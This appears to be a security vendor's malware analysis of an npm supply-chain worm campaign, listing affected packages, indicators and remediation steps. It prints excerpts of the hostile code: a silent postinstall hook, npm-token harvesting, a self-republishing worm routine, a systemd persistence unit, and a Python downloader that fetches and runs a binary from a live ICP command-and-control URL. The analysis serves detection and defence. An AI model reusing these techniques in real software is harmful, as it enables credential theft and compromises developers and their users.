A recently discovered campaign involving dozens of malicious npm packages is actively targeting developers, with many of the compromised packages still live on the registry. The malware enters a system during the routine installation of these packages. It relies on a hidden postinstall script to silently execute malicious code in the background immediately after the package is unpacked, requiring no further user interaction or generating terminal warnings.
Once installed, the malware causes significant damage by stealing sensitive authentication tokens and establishing a persistent backdoor. It scans the developer's system for npm credentials and uses them to act as a supply chain worm. By hijacking the victim's account, the malware automatically injects its code into other legitimate packages maintained by the developer and republishes them, rapidly expanding the attack's reach across the open-source ecosystem.
In addition to spreading through the software supply chain, the malware establishes long-term access on infected Linux machines by creating hidden background services. It also retrieves secondary payloads from a decentralized Web3 network (Internet Computer Protocol), a tactic designed to make the attackers' infrastructure highly resistant to traditional domain takedown efforts.
Affected Packages
Technical Analysis
Infection Chain
The infection process initiates during package installation. The malicious packages utilize a postinstall hook in their package.json file to automatically execute a local JavaScript file—typically index.js—immediately after the package contents are unpacked.
"scripts": {
"postinstall": "node index.js"
}Execution occurs silently in the background without requiring user interaction or generating terminal warnings. Once triggered, index.js launches two parallel operations: harvesting sensitive credentials and establishing a persistent backdoor.
Malicious Behavior
The primary payload functions as both a credential harvester and a malware dropper. Initially, index.js searches for npm authentication tokens by scanning the user's home directory for .npmrc files, checking system-wide configurations in /etc/npmrc, and inspecting environment variables for keys like NPM_TOKEN or NPM_TOKENS.
Any harvested tokens are passed to a secondary script, scripts/deploy.js, which acts as a supply chain worm. Using the compromised credentials, the script queries the npm registry for other packages maintained by the victim. It then increments the patch version of these packages and republishes them, propagating the malicious logic across the victim's software portfolio.
async function run(token, pkgPath, fallbackVer) {
// ... logic to fetch owned packages ...
for (const name of owned) {
// ... logic to modify package.json and README ...
try {
execSync('npm publish --access public --tag latest', {
stdio: 'pipe',
env: { ...process.env, NPM_TOKEN: token }
});
} catch (_) {}
}
}Concurrently, the initial JavaScript payload decodes an embedded Base64 string to extract a Python script. This script functions as a downloader, polling a remote URL for a secondary payload. Upon identifying a valid URL, it downloads the binary to /tmp/pglog, assigns executable permissions, and launches it in a new session.
Persistence
To maintain access on Linux systems, the malware creates a systemd user service. The index.js script writes a service unit file to the user's local configuration directory, specifically targeting ~/.config/systemd/user/pgmon.service.
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
].join('\n'), { mode: 0o644 });The malware then executes systemctl --user enable and systemctl --user start. This configuration ensures the Python downloader runs automatically upon user login and restarts if the process terminates. The chosen service name, pgmon, serves as a masquerading technique, likely intended to mimic a legitimate PostgreSQL monitoring utility.
Command and Control (C2) and Obfuscation
The packages rely primarily on Base64 encoding to obfuscate the secondary Python payload. Embedding the script as a continuous string within index.js is a standard technique used to evade static analysis tools scanning for known malicious Python signatures.
For Command and Control (C2), the infrastructure leverages the Internet Computer Protocol (ICP) network to host payloads. The Python downloader beacons to a designated ICP endpoint to retrieve the URL for the next-stage binary:
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return NoneThe use of the raw.icp0.io domain indicates an operational shift toward decentralized hosting. This approach increases the resilience of the distribution infrastructure, making it more resistant to traditional domain takedown requests.
Mitigation
Short-term: Detection and Response
To determine if your environment has been affected by this campaign, you must inspect your dependency trees, file systems, network logs, and npm accounts for specific indicators of compromise (IoCs) and behaviors.
1. Inspect Dependency Files Search your package.json and package-lock.json files for the presence of the identified malicious packages. Pay special attention to the following scopes and standalone packages:
- Standalone packages: jest-preset-ppf (0.0.2), babel-plugin-react-pure-component (0.1.6), eslint-config-service-users (0.0.3), opengov-k6-core (1.0.2), cit-playwright-tests (1.0.1), react-leaflet-marker-layer (0.1.5), react-leaflet-cluster-layer (0.0.4), eslint-config-ppf (0.128.2)
- Scoped packages: @leafnoise/mirage (2.0.3), @airtm/uuid-base32 (1.0.2), @teale.io/eslint-config (1.8.10, 1.8.13–1.8.15)
- Targeted organizational scopes: Various packages under the @opengov/ (e.g., form-renderer, form-builder) and @emilgroup/ scopes.
2. Check File Systems for Dropped Payloads and Persistence The malware establishes persistence and downloads secondary payloads to specific paths. Check affected Linux and macOS systems for the following files:
- Secondary Payload: Verify if the file /tmp/pglog exists.
- Systemd Persistence: Check for the presence of the service file at ~/.config/systemd/user/pgmon.service.
- Active Services: Run systemctl --user status pgmon to see if the malicious service is currently active.
3. Review Network and DNS Logs Search your firewall, DNS, and proxy logs for outbound connections to the Internet Computer Protocol (ICP) infrastructure used for Command and Control (C2):
- Domain: tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
- URL: https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/
4. Audit npm Accounts for Worm Activity Because the index.js payload harvests npm tokens from .npmrc, /etc/npmrc, and environment variables (NPM_TOKEN, NPM_TOKENS), you must assume any accessible tokens are compromised.
- Check your npm registry account for unauthorized package publishes. The scripts/deploy.js payload specifically increments the patch version of packages you maintain and republishes them.
Incident Response Actions: If you identify any of the above indicators:
- Revoke Credentials: Immediately revoke any npm tokens that were present on the affected machine.
- Halt and Remove Persistence: Stop and disable the malicious service by running systemctl --user stop pgmon and systemctl --user disable pgmon. Delete the ~/.config/systemd/user/pgmon.service and /tmp/pglog files.
- Clean Dependencies: Remove the malicious packages from your project and reinstall dependencies.
- Revert Unauthorized Releases: If the worm successfully republished your packages, unpublish the compromised versions via npm and publish a clean version to restore integrity for your users.
Long-term: Prevention Best Practices
To reduce future exposure to similar supply chain attacks, organizations and developers should implement the following preventative measures:
1. Disable Automatic Script Execution The infection chain relies entirely on the postinstall hook in the package.json file. You can prevent these scripts from executing silently in the background by configuring npm to ignore them globally:
- Run npm config set ignore-scripts true.
- When a package legitimately requires a lifecycle script, you can review the script manually and execute it using tools like @lavamoat/allow-scripts.
2. Implement Dependency Vetting and Lock Files
- Always use package-lock.json or npm-shrinkwrap.json to lock dependency versions and enforce integrity hashes. This ensures that the exact same code is downloaded across all environments.
- Before introducing a new dependency or updating an existing one, review the package contents. Pay specific attention to postinstall or preinstall scripts and obfuscated code (such as large Base64 strings).
3. Adopt Principle of Least Privilege for Credentials
- Avoid storing highly privileged, long-lived npm tokens in persistent local files like ~/.npmrc or global environment variables.
- Use npm's granular access tokens, which allow you to restrict permissions (e.g., read-only vs. publish) and set expiration dates, limiting the blast radius if a token is harvested.
4. Utilize Supply Chain Security Tools
- Integrate Software Composition Analysis (SCA) tools into your CI/CD pipelines to continuously monitor and alert on known malicious packages or suspicious dependency updates.
- Employ runtime monitoring solutions capable of detecting anomalous behaviors, such as a Node.js process attempting to read SSH keys/.npmrc files, writing to ~/.config/systemd/user/, or making unexpected outbound network connections.
Indicators of Compromise (IoCs)
Conclusion
This campaign underscores a notable evolution in developer-targeted supply chain attacks. While credential harvesting via postinstall hooks is a well-established tactic, the introduction of a self-propagating worm mechanism significantly changes the threat model. By immediately weaponizing stolen npm tokens to infect and republish a victim’s own package portfolio, the attackers exponentially increase their blast radius. This behavior mirrors the aggressive lateral movement seen in traditional network worms, but it is specifically adapted to exploit the interconnected trust model of the modern open-source ecosystem.
Furthermore, the reliance on the Internet Computer Protocol (ICP) network for payload distribution highlights a deliberate shift toward decentralized infrastructure. Much like the abuse of IPFS or Telegram in previous malware campaigns, leveraging Web3 hosting complicates incident response and renders traditional domain takedown strategies largely ineffective. This architectural choice forces defenders to rely more heavily on behavioral detection—such as monitoring for anomalous systemd service creation or unexpected registry publishes—rather than simply blocking static network indicators.
As threat actors continue to automate the compromise of developer environments, the open-source community must move beyond reactive dependency scanning. The success of this campaign hinges entirely on implicit trust in lifecycle scripts and the use of overly permissive, long-lived access tokens. Ultimately, adopting zero-trust principles for local development—such as globally disabling postinstall scripts by default and enforcing granular, short-lived publishing tokens—will be essential to breaking the infection chain of future supply chain worms.
Detect and block malware



What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









